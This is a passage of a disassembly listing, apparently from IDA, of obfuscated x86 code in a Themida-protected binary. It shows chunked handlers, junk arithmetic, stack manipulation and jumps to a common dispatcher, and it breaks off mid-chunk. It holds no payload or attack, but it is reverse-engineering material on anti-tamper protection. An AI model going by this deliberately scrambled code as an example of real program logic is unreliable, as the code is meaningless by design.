; FUNCTION CHUNK AT 00561E82 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561FF0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562703 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00562827 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562DDF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562E3C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00562F88 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00563B00 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00563FB4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005645FA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00564702 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00565008 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005656B5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005658C0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056596B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056668F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005668A2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056697A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566BA5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566CB5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005674AF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056788D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005679E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567CB7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567E2A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005682F5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005687FB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005696C6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569C1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569F64 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00569F98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A17B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A3E8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A690 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A6F5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AD2E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AF76 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B137 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B429 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B4E5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BBB3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BCA0 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056C561 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CBFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D5C7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D7EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056D8FE SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056E2F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E4A6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E855 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056EA12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056ED0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F6D6 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056FD54 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570213 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057034A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057040D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005708E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005709E4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570EE1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057118D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057154D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005717B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005717FC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00571862 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571BB1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571C10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571C39 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00571EE1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005726EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572768 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005727AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005728F1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005729E1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00572F04 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573337 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005736EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574157 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005745BB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574751 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574A34 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00574DD4 SIZE 00000025 BYTES

		sub	esp, 4
		push	esp
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		mov	ebx, [esp+4+var_4]
		push	ebp
		jmp	loc_565008
sub_57354D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56626B


loc_573561:				; CODE XREF: sub_56626B+C1D8j
		sub	cl, 0B6h
		jmp	loc_56E554
; END OF FUNCTION CHUNK	FOR sub_56626B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_573569:				; CODE XREF: sub_5678CB-71CDj
		xchg	edx, [esp+4+var_4]
		pop	esp
		xor	dl, 0F8h
		add	dl, 3Dh
		xor	al, dl
		push	dword ptr [esp+0]
		jmp	loc_569568
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574D8F


loc_57357D:				; CODE XREF: sub_574D8F+18j
		pop	ebx
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 4F6411B7h
		add	ebx, 69AC6D37h
		sub	ebx, edi
		push	eax
		mov	eax, 69AC6D37h
		jmp	loc_56D2AB
; END OF FUNCTION CHUNK	FOR sub_574D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_5735A0:				; CODE XREF: sub_56E126-696Bj
		mov	eax, 1BEC513Fh
		jmp	loc_56F448
; END OF FUNCTION CHUNK	FOR sub_56E126

; =============== S U B	R O U T	I N E =======================================



sub_5735AA	proc near		; CODE XREF: sub_56D589+4141j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056519D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566823 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566F9D SIZE 00000029 BYTES

		push	ebp
		xor	dword ptr [esp+0], 0B840CBDh
		pop	esi
		xor	esi, 0B840CBDh
		pop	ebp
		push	esi
		push	ecx
		pop	esi
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_56519D
sub_5735AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_5735C8:				; CODE XREF: sub_56E1B8+57CAj
		neg	ecx
		xor	ecx, 0B392C3B8h
		mov	esi, ecx
		pop	ecx
		sub	edx, esi
		jmp	loc_573C6B
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_5735DA:				; CODE XREF: sub_57199D-1119Ej
		add	ebx, 32D5673Dh
		shr	ebx, 8
		xor	ebx, 406EF3D3h
		jmp	sub_56E4D4
; END OF FUNCTION CHUNK	FOR sub_57199D
; ---------------------------------------------------------------------------


loc_5735EE:				; CODE XREF: Themida_:00561A96j
		sub	esi, 589D1F27h
		jmp	loc_56FE76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_5735F9:				; CODE XREF: sub_573167-D3BEj
		pop	ecx
		jmp	loc_565228
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_5735FF:				; CODE XREF: sub_56C83E-BEFEj
		mov	[esp+4+var_4], eax
		jmp	loc_56410B
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_573607:				; CODE XREF: sub_56616D-3622j
		push	edx
		mov	edx, 5934AC8Ch
		jmp	loc_564C1F
; END OF FUNCTION CHUNK	FOR sub_56616D

; =============== S U B	R O U T	I N E =======================================



sub_573612	proc near		; DATA XREF: Themida_:0055FCE4o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00563112 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00564A02 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565493 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005687AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AC96 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C724 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056D5B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D885 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F3F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056FEBF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572FFF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573DE9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574AB5 SIZE 0000001A BYTES

		mov	cx, [esp+0]
		push	ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_56C724
sub_573612	endp

; ---------------------------------------------------------------------------


loc_573620:				; CODE XREF: Themida_:005723FBj
		add	eax, ebx
		push	edi
		mov	edi, 5D4E41B4h
		xor	edi, 7ED6F03h
		sub	eax, edi
		pop	edi
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_573642:				; CODE XREF: sub_56B1DC-A2D6j
		or	esi, 62EB45D5h
		xor	esi, 7DA708AAh
		add	esi, 42075947h
		jmp	loc_5731E2
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_573659:				; CODE XREF: sub_5604FE+9079j
		push	dword ptr [esp+0]
		pop	edx
		jmp	sub_56C3E2
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5736FA


loc_573662:				; CODE XREF: sub_5736FA-3276j
		add	eax, 0CB612ACh
		sub	eax, 17C657AFh
		pop	edi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		push	6BE5h
		jmp	loc_5650FC
; END OF FUNCTION CHUNK	FOR sub_5736FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_57367D:				; CODE XREF: sub_56657A+3645j
		imul	cl
		jmp	loc_5645D6
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_573684:				; CODE XREF: sub_567C58+19j
		push	edi
		mov	edi, 0E373BCCh
		sub	edi, 76314A9Ch
		push	edi
		neg	[esp+10h+var_10]
		mov	edi, [esp+10h+var_10]
		push	esi
		mov	esi, esp
		jmp	loc_5615C8
; END OF FUNCTION CHUNK	FOR sub_567C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_57369F:				; CODE XREF: sub_570FB7-B085j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	263Bh
		jmp	loc_564082
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_5736BF:				; CODE XREF: sub_569A84+E14j
		mov	[esp+0], ebx
		jmp	loc_568ACD
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_5736C7:				; CODE XREF: sub_567B29+7D9Bj
		add	ebx, 262772EAh
		push	edx
		push	21EC78BAh
		pop	edx
		add	ebx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_57321C
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------


loc_5736E2:				; CODE XREF: Themida_:005622B4j
		add	ebx, eax
		pop	eax
		push	ebp
		push	edx
		jmp	loc_56FCB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5736EC:				; CODE XREF: sub_57354D-D95j
		push	[esp+10h+var_10]
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		jmp	sub_567049
; END OF FUNCTION CHUNK	FOR sub_57354D

; =============== S U B	R O U T	I N E =======================================



sub_5736FA	proc near		; CODE XREF: sub_574CBE-FFE9j

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005650FC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570481 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573662 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, 57130F65h
		and	ebp, 0C48760Dh
		push	esi
		mov	esi, 0F749F359h
		sub	ebp, esi
		pop	esi
		sub	eax, ebp
		jmp	loc_570481
sub_5736FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_573716:				; CODE XREF: sub_570C6A-C939j
		add	ebp, 534F4A02h
		sub	ebp, 27232158h
		pop	esi
		pop	edi
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		btr	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_573735:				; CODE XREF: sub_561541+2351j
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		pop	esp
		or	eax, eax
		jz	loc_56CE6D
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 69B11F7Ah
		add	[esp+8+var_4], ebp
		pop	ebp
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_561332
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_573763:				; CODE XREF: sub_5733CA-C3F8j
		add	esi, ecx
		pop	ecx
		or	esi, 17F55A8Dh
		push	ecx
		push	ebx
		mov	ebx, 197D4E79h
		sub	ebx, 818573DEh
		jmp	loc_56C540
; END OF FUNCTION CHUNK	FOR sub_5733CA

; =============== S U B	R O U T	I N E =======================================



sub_57377E	proc near		; CODE XREF: sub_560276+DDE1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005611C6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056357B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568AB1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056DCF3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00574D38 SIZE 00000025 BYTES

		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 88073D3Bh
		sub	edx, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_574D38
sub_57377E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_57379C:				; CODE XREF: Themida_:0056F9CCj
		pop	eax
		jmp	loc_569ADD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568F83


loc_5737A2:				; CODE XREF: sub_568F83-61C2j
		add	esp, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], edi
		xor	edi, [esp-0Ch+arg_8]
		jmp	loc_56DA73
; END OF FUNCTION CHUNK	FOR sub_568F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5737B9:				; CODE XREF: sub_56B06D-6BBCj
		push	[esp+8+var_8]
		jmp	loc_572B8E
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_5737C1:				; CODE XREF: sub_5738F4-1263Fj
		pop	edi
		add	ebx, 6FD86E81h
		add	ebx, eax
		sub	ebx, 6FD86E81h
		jmp	loc_566EF8
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5737D5:				; CODE XREF: sub_561027+140E4j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		jmp	loc_5678F4
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5737EB:				; CODE XREF: sub_561418+1j
		mov	ebp, 19CB674Fh
		xor	ebp, 68CC7BCEh
		jmp	loc_5629C7
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_5737FB:				; CODE XREF: sub_567CFE+653Ej
		push	ecx
		jmp	loc_56B211
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_573801:				; CODE XREF: sub_566078+DF2j
		mov	ecx, 0EC9F145Bh
		add	edx, ecx
		jmp	loc_5653F6
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_57380D:				; CODE XREF: sub_5671E1+4820j
		add	esp, 4
		sub	edx, 318F3A6Ch
		add	edi, 6CDD7F02h
		sub	edi, edx
		sub	edi, 6CDD7F02h
		pop	edx
		add	edi, 336541D9h
		jmp	loc_5617C9
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_573833:				; CODE XREF: sub_56D464+1880j
		pop	esi
		add	esi, 4
		push	esi
		jmp	loc_56B0FE
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_573840:				; CODE XREF: sub_570CE4-EE10j
		push	7E40h
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 0DEFC5360h
		add	ebp, 31351870h
		sub	ebp, 186972E6h
		sub	ebp, ecx
		add	ebp, 186972E6h
		sub	ebp, 31351870h
		jmp	loc_565346
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_57386C:				; CODE XREF: sub_5690E8+BDA1j
		sub	eax, 9164464Eh
		jmp	loc_569A96
; END OF FUNCTION CHUNK	FOR sub_5690E8

; =============== S U B	R O U T	I N E =======================================



sub_573876	proc near		; CODE XREF: sub_56CD13-9F09j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00561435 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056463B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564D09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566271 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568EBB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056AF28 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056B235 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00570938 SIZE 0000001D BYTES

		push	ebx
		jmp	loc_56AF28
sub_573876	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_57387C:				; CODE XREF: sub_5678CB-20E6j
		mov	[esp+0], ecx
		mov	ch, 0Bh
		xor	ch, 0AAh
		push	ebx
		jmp	loc_569D40
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_57388A:				; CODE XREF: sub_56241E+1162Cj
		sub	dx, 472Ah
		sub	dx, ax
		jmp	loc_566847
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_573897:				; CODE XREF: sub_57549C-3E41j
		pop	edi
		jmp	loc_56A445
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_57389D:				; CODE XREF: sub_5620B7+102DFj
		mov	eax, dword ptr [esp+0Eh+var_E]
		add	esp, 4
		pop	edx
		jmp	loc_56640D
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5738AC:				; CODE XREF: sub_568E5C-2042j
		pop	[esp+4+var_4]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 4
		add	esi, 51B715B1h
		jmp	loc_560BA0
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_5738D2:				; CODE XREF: sub_569DB5-58D9j
		pop	esp
		mov	ax, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], ebp
		sub	esp, 4
		mov	[esp+4+var_4], esp
		sub	esp, 4
		jmp	loc_562A9A
; END OF FUNCTION CHUNK	FOR sub_569DB5

; =============== S U B	R O U T	I N E =======================================



sub_5738F4	proc near		; CODE XREF: sub_5605BC+F1C1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005612AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056210B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562EE9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564D17 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565616 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566D73 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566EF8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D009 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E19D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F8D9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005704FE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0057067D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570D80 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572CB5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572F88 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005733DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005737C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575481 SIZE 0000000C BYTES

		push	ebx
		jmp	loc_572F88
sub_5738F4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5738FA	proc near		; DATA XREF: Themida_:0055FD74o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
sub_5738FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_573909:				; CODE XREF: sub_561027+121CDj
		mov	edi, [esp+0]
		jmp	loc_564771
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_573911:				; CODE XREF: sub_569CBC+1Bj
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_565CDB
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_57391E:				; CODE XREF: sub_570CE4+228Aj
		push	eax
		jmp	loc_567D24
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_573924:				; CODE XREF: sub_56D464-BB76j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		jmp	loc_56ECDC
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_573939:				; CODE XREF: sub_56EFD2+25F7j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_57393E:				; CODE XREF: sub_564D26+9A05j
		add	edx, ecx
		jmp	loc_5745F2
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_573945:				; CODE XREF: sub_5747FA-4964j
		or	[esp-8+arg_4], ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_57394F:				; CODE XREF: sub_56241E+6EFBj
		mov	bx, 244Ah
		dec	bx
		shr	bx, 7
		jmp	loc_562125
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_57395E:				; CODE XREF: sub_56E1B8+9j
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		add	esp, 4
		or	edx, 33E404BDh
		or	edx, 35A51C58h
		dec	edx
		push	esi
		push	ecx
		mov	ecx, 16B87D9Eh
		jmp	loc_5735C8
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------


loc_573987:				; CODE XREF: Themida_:00568711j
		push	ebx
		jmp	loc_56D38C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57398D:				; CODE XREF: sub_561418+D7C3j
		pop	ebx
		and	edx, 7F4947C0h
		sub	edx, 25427C70h
		not	edx
		push	4272h
		mov	[esp-4+arg_0], edi
		jmp	loc_572725
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563ADF


loc_5739A9:				; CODE XREF: sub_563ADF+D6D3j
		mov	esp, [esp+8+var_8]
		mov	[esp+0], esp
		jmp	sub_566B79
; END OF FUNCTION CHUNK	FOR sub_563ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_5739B4:				; CODE XREF: sub_57549C-5004j
		mov	esp, [esp+8+var_8]
		mov	[esp+0], ebp
		mov	ebp, 71A45AEAh
		shr	ebp, 5
		sub	ebp, 38D22D3h
		sub	ecx, 52561B11h
		add	ecx, ebp
		jmp	sub_568CD2
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5739D5:				; CODE XREF: sub_561418+4F55j
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		sub	ebp, ebx
		jmp	loc_568275
; END OF FUNCTION CHUNK	FOR sub_561418

; =============== S U B	R O U T	I N E =======================================



sub_5739E2	proc near		; DATA XREF: Themida_:0055FD7Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
sub_5739E2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_5739F1:				; CODE XREF: sub_568764-2583j
		neg	edx
		or	edx, 0F9530D2h
		xor	edx, 8213FD76h
		sub	ecx, 13105F79h
		add	ecx, edx
		jmp	loc_56DF16
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------


loc_573A0C:				; CODE XREF: Themida_:00569A3Fj
		push	23F0h
		jmp	loc_56D162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_573A16:				; CODE XREF: sub_574656-93F2j
		push	13E54E58h
		pop	ebx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 1D1939A1h
		and	edi, 0E3C7B13h
		jmp	loc_568C19
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_573A36:				; CODE XREF: sub_56AB5E-282Fj
		push	ecx
